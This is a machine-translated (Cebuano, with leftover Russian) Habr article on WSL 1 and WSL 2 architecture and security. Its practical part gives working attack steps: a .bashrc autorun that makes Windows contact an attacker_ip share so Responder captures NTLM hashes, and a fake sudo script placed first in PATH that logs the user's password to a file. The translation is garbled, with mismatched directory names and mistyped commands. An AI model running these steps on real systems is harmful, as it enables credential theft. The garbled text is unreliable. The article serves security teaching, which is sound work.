Mga eksperimento sa WSL. Bahin 1

Hello, habr! Ang OTUS naglansad og bag-ong kurso nga stream sa Oktubre "Seguridad sa Linux". Sa pagpaabot sa pagsugod sa kurso, among gipaambit kanimo ang usa ka artikulo nga gisulat sa usa sa among mga magtutudlo, si Alexander Kolesnikov.

Mga eksperimento sa WSL. Bahin 1

Sa 2016, gipaila sa Microsoft ang bag-ong teknolohiya sa WSL sa komunidad sa IT (Wmga inday Subsystem alang sa Linux), nga sa umaabot nagpaposible sa paghiusa sa kaniadto dili matugkad nga mga kakompetensya nga nakig-away alang sa pagkapopular sa mga ordinaryo ug advanced nga mga tiggamit sa OS: Windows ug Linux. Kini nga teknolohiya nagpaposible sa paggamit sa mga himan sa Linux OS sa usa ka palibot sa Windows nga dili kinahanglan nga modagan sa Linux, pananglitan, gamit ang Multi-boot. Sa Habr makit-an nimo ang daghang mga artikulo nga naghulagway sa mga benepisyo sa paggamit sa WSL. Bisan pa, sa kasubo, sa panahon sa paghimo niini nga artikulo, wala’y mga pagtuon sa seguridad sa ingon nga symbiosis sa mga operating system nga nakit-an sa kini nga kapanguhaan. Kini nga post usa ka pagsulay sa pagtul-id niini. Ang artikulo maghisgot bahin sa mga bahin sa WSL 1 ug 2 nga mga arkitektura ug susihon ang daghang mga pananglitan sa mga pag-atake sa mga sistema gamit kini nga mga teknolohiya. Ang artikulo gibahin sa 2 ka bahin. Ang una maghatag sa nag-unang teoretikal nga mga pamaagi sa pag-atake gikan sa Linux ug Windows. Ang ikaduha nga artikulo maglakip sa pagpahimutang sa usa ka palibot sa pagsulay ug pag-reproduce sa mga pag-atake.

WSL 1: mga bahin sa arkitektura

Alang sa labing tukma nga pag-dive sa mga isyu sa seguridad sa WSL, kinahanglan nga mahibal-an ang mga nag-unang nuances nga may kalabutan sa pagpatuman sa subsystem. Usa sa mga nag-unang buluhaton sa user nga nasulbad sa WSL mao ang abilidad sa pagtrabaho pinaagi sa terminal sa Linux sa usa ka host nga nagpadagan sa Windows OS. Usab, ang pagkaangay nga gitanyag kay lumad kaayo nga ang Linux executables (ELFs) mahimong direktang ipadagan sa Windows system. Aron makab-ot kini nga mga katuyoan, usa ka espesyal nga subsystem ang gihimo sa Windows 10 nga nagtugot kanimo sa pagpadagan sa mga aplikasyon sa Linux gamit ang usa ka hugpong sa mga piho nga tawag sa sistema - sa ingon, gihimo ang usa ka pagsulay sa pag-mapa sa usa ka set sa Linux syscalls sa Windows. Kini pisikal nga gipatuman pinaagi sa pagdugang sa bag-ong mga drayber ug usa ka bag-ong format sa proseso. Biswal ang arkitektura ingon niini:

Mga eksperimento sa WSL. Bahin 1

Sa tinuud, ang interaksyon sa operating system sa Linux giorganisar pinaagi sa daghang mga module sa kernel ug usa ka espesyal nga tipo sa proseso - pico. Gikan sa dayagram sa ibabaw, imong makita nga ang proseso nga nagdagan sa Linux nga pananglitan sa host kinahanglan nga lumad ug kinahanglan nga mogamit sa parehas nga mga kapanguhaan sama sa regular nga mga aplikasyon sa Windows. Apan unsaon pagkab-ot niini? Sa proyekto Drawbridge Ang mga konsepto sa proseso alang sa Windows gimugna nga naghatag sa tanan nga gikinahanglan nga mga sangkap sa operating system (depende sa bersyon niini) aron sa pagpadagan sa usa ka aplikasyon sa laing OS.

Timan-i nga ang gisugyot nga abstraction nagpaposible nga dili mag-focus sa operating system (sa partikular, Windows), diin ang proseso sa laing OS gilauman nga ilunsad, ug gisugyot ang usa ka kinatibuk-ang pamaagi.

Busa, ang bisan unsang aplikasyon sulod sa proseso sa pico mahimong modagan nga walay pagtagad sa Windows kernel:

  1. Ang mga problema sa pagkaangay ug paghubad sa mga tawag sa sistema kinahanglan masulbad sa mga espesyal nga tighatag;
  2. Ang pagkontrol sa pag-access kinahanglan buhaton pinaagi sa Security Monitor. Ang monitor nahimutang sa kernel ug busa ang Windows nanginahanglan usa ka pag-upgrade sa porma sa usa ka bag-ong drayber nga mahimong molihok ingon usa ka tighatag alang sa ingon nga mga proseso. Ang prototype nga proseso sa pico gipresentar sa ubos:

Mga eksperimento sa WSL. Bahin 1

Tungod kay ang Linux file system naggamit sa case-sensitive nga file ug mga ngalan sa direktoryo, 2 ka matang sa file system ang gidugang sa Windows aron magtrabaho uban sa WSL - VolFS ug DriveFS. Ang VolFS usa ka pagpatuman sa Linux file system, ang DriveFS usa ka file system nga nagtrabaho sumala sa mga lagda sa Windows, apan adunay katakus sa pagpili sa pagkasensitibo sa kaso.

WSL 2

Ang WSL 1 adunay ubay-ubay nga mga limitasyon nga wala magtugot niini nga gamiton aron masulbad ang labing taas nga hanay sa mga buluhaton: pananglitan, wala kini abilidad sa pagpadagan sa 32-bit nga mga aplikasyon sa Linux, ug imposible nga magamit ang mga driver sa aparato. Busa, kaniadtong 2020, gipagawas ang WSL 2, nga nagbag-o sa pamaagi sa pagtukod sa subsystem. Ang WSL 2 usa ka na-optimize nga virtual machine nga mohaum sa mga kinaiya sa pagkonsumo sa kapanguhaan sa WSL 1. Karon, depende sa mga problema nga nasulbad sa Windows OS user, mahimo nimong pilion ang gikinahanglan nga bersyon sa Linux subsystem. Aron maminusan ang posible nga mga kahuyangan, ang WSL 2 gipatuman base sa Hyper-V sa Windows 10. Niini nga porma, ang Windows adunay katakus sa pagpadagan sa Linux operating system kernel nga nag-inusara. Angayan nga hinumdoman nga ang bersyon 1 sa WSL gipaila ingon usa ka beta nga bahin nga kinahanglan nga magpakita sa direksyon sa pag-uswag sa Windows sa kini nga lugar, busa ang pagbalhin sa Hyper-V dili malikayan. Ang katapusan nga arkitektura ingon niini:

Mga eksperimento sa WSL. Bahin 1

Niini nga bersyon, ang mga kernel sa Windows ug Linux adunay kaugalingong mga kapanguhaan ug ang intersection anaa lamang sa file system, apan kini nga intersection dili kompleto. Ang interaksyon tali sa mga file system gihimo pinaagi sa usa ka client-server wrapper nga nagtrabaho gamit ang 9P protocol.

Karon ang Microsoft naghatag sa abilidad sa pagbalhin tali sa WSL 1 ug WSL 2. Ang duha ka bersyon anaa alang sa paggamit.

Seguridad sa WSL

Sa pagkakaron, adunay daghang mga buhat nga naghulagway sa pipila ka mga pamaagi sa paggamit sa mga lehitimong OS nga mga himan sa pag-atake sa komunikasyon tali sa mga subsystem. Atong gamiton ang ilang mga script aron masusi ang kalambigitan sa mga pag-atake sa panahon sa pagsulat. Kinatibuk-ang listahan sa mga pag-atake ug mga senaryo:

1. Pagpatuman sa sistema sa file: mga katungod sa pag-access, pagkaanaa sa gipaambit nga mga direktoryo/mga mekanismo sa pagbayloay sa datos.

Ang panukiduki gihimo aron mahibal-an ang mga paglapas sa mga lagda sa pag-access gikan sa Linux FS->Windows FS, Windows FS->Linux FS. Gipakita sa panukiduki ang abilidad sa pag-usab sa usa ka gihatag nga file sulod sa target nga OS. Gisulayan usab ang pag-ilis, paghimo og mga duplicate ug pagtangtang sa bahin sa mga file system.

Scenario:

  • A. Pag-atake gikan sa Windows operating system - pagbag-o sa mga file gikan sa /etc nga direktoryo sa Linux OS.
  • B. Pag-atake gikan sa Linux operating system - pagbag-o sa mga file sa mga direktoryo: C:Windows, C:Program Files, C:Users<User>

2. Pagpatuman sa network stack.

Ang panukiduki gihimo gamit ang mga pananglitan sa mga pag-atake gikan sa Linux operating system sa Windows. Ang mga bahin sa network stack gigamit, nga mao, ang mga mekanismo sa pag-authenticate sa lainlaing mga kapanguhaan.

Scenario:

  • Pag-abli sa pag-access sa usa ka pantalan nga giokupar sa usa ka sistema sa Windows
  • Pag-abli sa usa ka pantalan nga wala’y angay nga mga katungod
  • Pagdagan sa reverse shell gamit ang elf file sa Windows operating system.

3. Pagtago sa paglunsad sa mga malisyosong proseso sa software gamit ang WSL subsystem.

Ang panukiduki gibase sa usa ka yano nga kamatuoran - ang mga subsystem sa seguridad dili makapugong sa mga panghitabo sa laing kernel nga nagtrabaho gamit ang usa ka lehitimong provider gikan sa operating system sa kaso sa WSL 1. Sa kaso sa WSL 2, walay paagi sa pagtan-aw sa mga panghitabo nga mahitabo sa usa ka bulag nga kernel sulod sa gaan nga virtual nga makina.

Scenario:

1) Ilunsad ang aplikasyon alang sa hilit nga pag-access sa sistema ug tan-awa ang mga na-log nga panghitabo.

Mga eksperimento sa WSL 1: hash interception (Windows)

Sa kataposan nakaabot mi sa praktikal nga bahin. Una, kinahanglan nimo nga i-set up ang palibot sa pagsulay. Ang tanan nga mga eksperimento himuon sa usa ka bangko nga adunay Windows 10 2004 nga na-install. Ang imahe sa Ubuntu 18.04 gipili ingon imahe sa operating system alang sa WSL. Ang imahe gipili nga random, ug ang uban pa molihok nga parehas. Mga sugo sa pag-set up og stand:

Kinahanglan ka una nga maglansad powershell.exe ingon tigdumala.

Alang sa WSL 1 kinahanglan nimo nga ipadagan ang mga mando:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Human sa pag-reboot sa baruganan, mahimo nimong tawagan ang bash command. Kung ang tanan nagtrabaho sa husto, imong makita ang output nga susama niini sa Windows console:

    Mga eksperimento sa WSL. Bahin 1

    Gamiton namo ang distribusyon sa Kali Linux isip makina sa tig-atake; ang tanang makina kinahanglang anaa sa samang lokal nga network.

    Ibutang nato nga kita adunay walay pribilihiyo nga pag-access sa WSL sa usa ka makina sa Windows. Atong sulayan ang pag-atake sa Linux operating system pinaagi sa pagtawag sa usa ka command gikan sa Linux. Aron ipatuman ang pag-atake, mogamit kami usa ka yano nga teknik sa autorun - among idugang ang among script alang sa pagpatuman sa palibot sa Linux. Aron mahimo kini kinahanglan nimo nga usbon ang file .bashrc.

    Sa usa ka makina nga adunay WSL among gipatuman:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Sa usa ka makina sa Kali Linux kami nagdagan:

    1. Responder -I eth0 -rdvw

    Sa usa ka makina sa Windows, ilunsad nato ang bash.

    Naghulat kami sa resulta sa Kali Linux machine:

    Mga eksperimento sa WSL. Bahin 1

    Busa, nakuha namo ang Windows user hash pinaagi sa WSL subsystem pinaagi sa pagpatuman sa command sa Linux system.

    Mga eksperimento sa WSL 1: pagkuha sa password sa user (Linux OS)

    Himoon nato ang usa pa ka eksperimento. Atol niini nga pagsusi atong idugang sa file .bashrc daghang mga sugo aron makuha ang Linux operating system user password.

    Atong ilunsad ang bash ug isulod ang mga sugo:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Aron malampuson nga makompleto ang pag-atake, ang user nga si Sam kinahanglan nga motawag sudo sa Linux terminal. Pagkahuman niini, ang password sa gumagamit sa Linux OS naa sa file pass.txt:

    Mga eksperimento sa WSL. Bahin 1

    Ang pagpatuman sa mga pag-atake gihatag alang sa teoretikal nga impormasyon lamang.

    Ang sunod nga bahin sa artikulo maghubit sa pagpatuman sa 9P protocol, ikonsiderar ang paghimo sa usa ka scanner alang niini nga protocol, ug maghimo usab usa ka pag-atake gamit kini.

    Listahan sa gigamit nga literatura

    Mga eksperimento sa WSL. Bahin 1

    Basaha ang dugang pa

    Source: www.habr.com

    Idugang sa usa ka comment